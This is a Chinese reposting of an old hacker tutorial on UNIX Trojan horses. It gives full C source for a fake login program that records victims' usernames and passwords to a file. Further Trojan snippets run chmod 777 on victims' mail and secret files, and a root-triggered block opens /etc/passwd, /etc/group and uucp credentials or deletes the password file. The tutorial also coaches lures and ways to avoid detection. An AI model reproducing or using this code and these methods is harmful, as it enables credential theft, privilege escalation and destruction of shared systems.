《UNIX-特洛伊木馬.---中國信息安全測評中心.doc》由會員分享,可在線閱讀,更多相關(guān)《UNIX-特洛伊木馬.---中國信息安全測評中心.doc(5頁珍藏版)》請在裝配圖網(wǎng)上搜索。
1、UNIX特洛伊木馬
發(fā)布日期:1999-10-31
文摘內(nèi)容:
簡介:
------------
????“UNIX安全”是種矛盾的說法。UNIX系統(tǒng)是很容易就可以用暴力法攻破,因為大多數(shù)UNIX系統(tǒng)并沒有設(shè)置登錄次數(shù)限制,而且還有諸如root、bin、sys、uucp等缺省用戶。一旦進(jìn)入了系統(tǒng),就很容易獲得系統(tǒng)控制權(quán)。如果懂得C語言,你甚至可以使系統(tǒng)為你工作,完全除去系統(tǒng)的安全屏障,建立自已的帳號,讀取別人的文件,等等。這些事情都可以通過本文中簡單的C語言代碼來實現(xiàn)。
需求:
------------
????首先,你需要有一個有效的UNIX系統(tǒng)帳號。如果該UN
2、IX系統(tǒng)是運行在如PDP/11、VAX、Pyramid等機(jī)器上的相對簡單的UNIX系統(tǒng)(如4.2bsd或AT&T System V等),則則會獲得很好的效果。如果你在學(xué)校擁有一個基于這些系統(tǒng)的帳號,那就再好不過了。
注釋:
-----
????本文的起因是1986年4月刊登的一篇題目為“UNIX安全”的文章。在這篇文章中,作者說到:“我們希望,我們所提供的資料在一定程度上引起人們的興趣和避免UNIX過于容易成為“駭客們的食譜”。因此我們有意省略了某些細(xì)節(jié)。”于是我根據(jù)這篇文章的大綱,按照其中談到的方法,編寫出以下清晰完整的例子。
實例一:騙取密碼
--------------
3、---------------------
????只要有一點UNIX和C知識,你會發(fā)現(xiàn)做到這一點根本不難。但是,你首先必須有權(quán)訪問一臺許多人都可以使用的計算機(jī),如學(xué)校中的公用計算機(jī)。
????當(dāng)?shù)卿浀揭粋€UNIX系統(tǒng)時,會出現(xiàn)類似以下內(nèi)容的屏幕:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password:??????(無回顯)
????
????以下程序模擬了一個登錄過程。你在終端上運行該程序后就離開。那些無知的“笨蛋”會上來輸入他們的帳號和密碼,這些都會保存在一個文件里。然后屏幕顯示“l(fā)ogin incor
4、rect”(登錄錯誤),并要求這個“笨蛋”再次登錄。這一次才是真正的登錄程序,當(dāng)然會成功登錄了(真是一群“笨蛋”)。
????把以下程序代碼輸入名為“horse.c”的文件中。注意,你需要針對不同系統(tǒng)的顯示更改程序的前8行。
----- Code Begins Here -----
/* this is what a 'C' comment looks like.??You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n
5、\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready.??Each \n represents a carriage return.
*/
#define LOGIN??"login: "
/* The above is the login prompt.??You shouldn't have to change it
* unless you're run
6、ning some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt.??You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect."??Change it (0 =
7、 almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given.??You shouldn'
8、t have to change it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically.??'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include
9、
#include
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
10、
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") )??!= NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
????
????OK,正如我所說的,輸入以上代碼,并修改它,使它看起來與真正的登錄過程完全一致。編譯horse.c文件。
11、( % 不必輸入,它只是系統(tǒng)提示符。)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
????現(xiàn)在你已有了可執(zhí)行文件horse。運行它,如果所顯示的內(nèi)容與真正的登錄過程不一樣,便重新編輯horse.c源程序,并重新編譯。在使用木馬程序前,建立名為trap(或者其他名字)的文件,內(nèi)容如下:
horse????????????????????(運行木馬程序)
login????????????????????(運行系統(tǒng)登錄程序)
????執(zhí)行trap文件:
% source trap????????????(重復(fù):不要輸入 %)
12、
????然后離開終端...
????程序運行幾次后,檢查stuff文件(或者你定義的任何文件),其內(nèi)容應(yīng)類似如下:
user john has password secret
user mary has password smegma
etc.
????記錄下這些帳號和密碼,然后刪除這個文件。(否則,如果超級用戶看到這個文件,你可就危險了。)
????注:為了取得更好的效果,終端最好設(shè)置為在一定時間內(nèi)無用戶登錄便退出。這樣,即使無人使用該終端,木馬程序也不會空運行漫長的14小時(或更長)了。
-----
????下一個實例運行在一個遠(yuǎn)程系統(tǒng)上,如你已成功侵入的諸如Mic
13、higan的VAX、Dratmouth的UNIX等系統(tǒng)。然而,它要求UNIX初學(xué)者具有一定的C語言知識。
實例二:讀取他人文件
-------------------------------------
????當(dāng)用戶運行一個程序的時候,他們就是被創(chuàng)建進(jìn)程的擁有者,程序便可以做出任何不超越其權(quán)限的事情,如刪除文件,創(chuàng)建文件,并賦予他人訪問的權(quán)限等。
????當(dāng)用戶在UNIX系統(tǒng)上保存郵件時,郵件被保存在用戶根目錄下的mbox文件中。在缺省情況下,該文件僅能由用戶讀取。下面的小程序可以解鎖運行此程序的用戶mbox文件(如使用chmod 777命令,即允許系統(tǒng)中的任意用戶擁有完全訪問權(quán)
14、限):
----- Code Begins Here -----
#include
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
????????sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
????????syste
15、m(buf);
????????}
}
----- Code Ends Here -----
????現(xiàn)在,問題是:怎樣才能讓攻擊目標(biāo)運行這個程序呢?
????如果系統(tǒng)有發(fā)布消息的功能(如4.xbsd中的msgs命令),你可以將程序發(fā)布出去。到UNIX WORLD等雜志上找一個工具或游戲程序,并將以上代碼插入到程序里。例如,你有一個tic-tac-toe程序,并已將木馬代碼放入tic-tac-toe程序真正運行的代碼之前,你便可以發(fā)布“我有一個新的tic-tac-toe程序,你們可以測試它,可在我的目錄下找到它。”之類的消息。你也可以單獨向你的欺騙目標(biāo)發(fā)出類似的郵件。
????
16、如果你找不到一個程序可以插入木馬,也可以在以上代碼最后兩個}間插入以下代碼:
????
printf("Error opening tic-tac-toe data file.??Sorry!\n");
????當(dāng)此程序運行,它將顯示以上錯誤信息。用戶就會想:“嗯,這小子連這么簡單的
tic-tac-toe程序都不會寫!”但其實可笑的是他——你現(xiàn)在已經(jīng)可以讀取他的郵件了。
????如果你想讀取某個用戶目錄下的特定文件(例如“secret”),只要向這個用戶投寄以下程序:
main()
{
if ( access("secret",0) > -1 ) system("chmod
17、777 secret");
}
????然后與他“交談”或通信,象Joe Loser所說的:“我剛寫了一個super_star-wars程序,你愿意測試一下嗎?”
????無論你希望何人運行某一命令,都不是一件難事,只要把他放進(jìn)C程序中的system()函數(shù),然后誘騙他運行這個程序!
????下面是利用以上技術(shù)的一些用法:
實例三:成為超級用戶
-----------------------------------
????寫一個讓別人運行的程序,插入下面代碼:
if ( !strcmp(getlogin(),"root") ) system("whatever you w
18、ant");
????該代碼檢查root用戶是否在運行本程序。如是,你便可以利用他的權(quán)限執(zhí)行你所希望的命令了(只要將whatever you want改為該命令即可)。以下是常用的命令:
"chmod 666 /etc/passwd"
????/etc/passwd是系統(tǒng)密碼文件,只有root用戶可以讀寫,在一般情況下,其他用戶只能讀(密碼是經(jīng)加密的)。如你不清楚其結(jié)構(gòu)格式,可以查看它。上面的命令使你也可以讀寫該文件——如為自己和朋友建立無權(quán)限限制的帳號。
"chmod 666 /etc/group"
????通過把自己加入某些具有高級權(quán)限的組,你便可以為所欲為了。
"chmo
19、d 666 /usr/lib/uucp/L.sys"
????檢查這個文件確定這個系統(tǒng)是否在UUCP(UNIX-UNIX CONNECTION PROTOCOL)網(wǎng)絡(luò)上。此文件包含了訪問網(wǎng)絡(luò)中其他系統(tǒng)的撥號用戶和密碼,以一般情況下,只有UUCP管理員能讀取它。找到UUCP管理員帳號并誘使其在不知情的情況下運行以上代碼,你便可以讀取它了。
"rm /etc/passwd"
????如果你誘使root用戶運行這行代碼,就會刪除系統(tǒng)密碼文件,此系統(tǒng)將停機(jī),并且不能再次運行了。這是具有相當(dāng)破壞力的。
-----
????當(dāng)你準(zhǔn)備向系統(tǒng)放置特洛伊木馬,有幾條規(guī)則應(yīng)該注意。
????如果隱
20、蔽性是主要的,(如侵入用戶郵箱或刪除他的所有文件等,)那么這個程序不應(yīng)該被過多地執(zhí)行(如一個流行的電腦游戲)——一旦用戶發(fā)現(xiàn)他們的文件被允許完全訪問,那么他是比較容易找到原因的。為了加強(qiáng)木馬的隱蔽性,程序應(yīng)該表明為“測試”程序(比如你正在編寫的游戲),并且請求個別人運行它,并與他們“交流”意見(只是為了欺騙他們)。正如我所說的,“測試”程序在完成其任務(wù)后,可以顯示虛假的錯誤消息。你便可以對他們說:“唉呀,我想我要繼續(xù)修改它?!痹谒麄冸x開后,你便可以讀取已被你解鎖的文件了。
????如果木馬程序的主要目的是捕捉運行此程序的特定用戶——如root或其他高級用戶,你就應(yīng)該把木馬程序代碼放入可被系統(tǒng)中絕大多數(shù)用戶頻繁執(zhí)行的程序里。因為木馬程序在特定用戶運行前是隱匿的。
????如果你發(fā)現(xiàn)C語言代碼很難理解,你就必須從PASCAL語言等轉(zhuǎn)變過來并學(xué)會C語言。這種情況不會有損C語言作為一種偉大的編程語言。
????以上我們已經(jīng)看到在UNIX系統(tǒng)上怎樣做了。一旦你捕捉到了root用戶(如你可以修/etc/passwd
文件),就要從特洛伊木馬程序中刪除有關(guān)欺騙的代碼,這樣你就永遠(yuǎn)不會被捉住了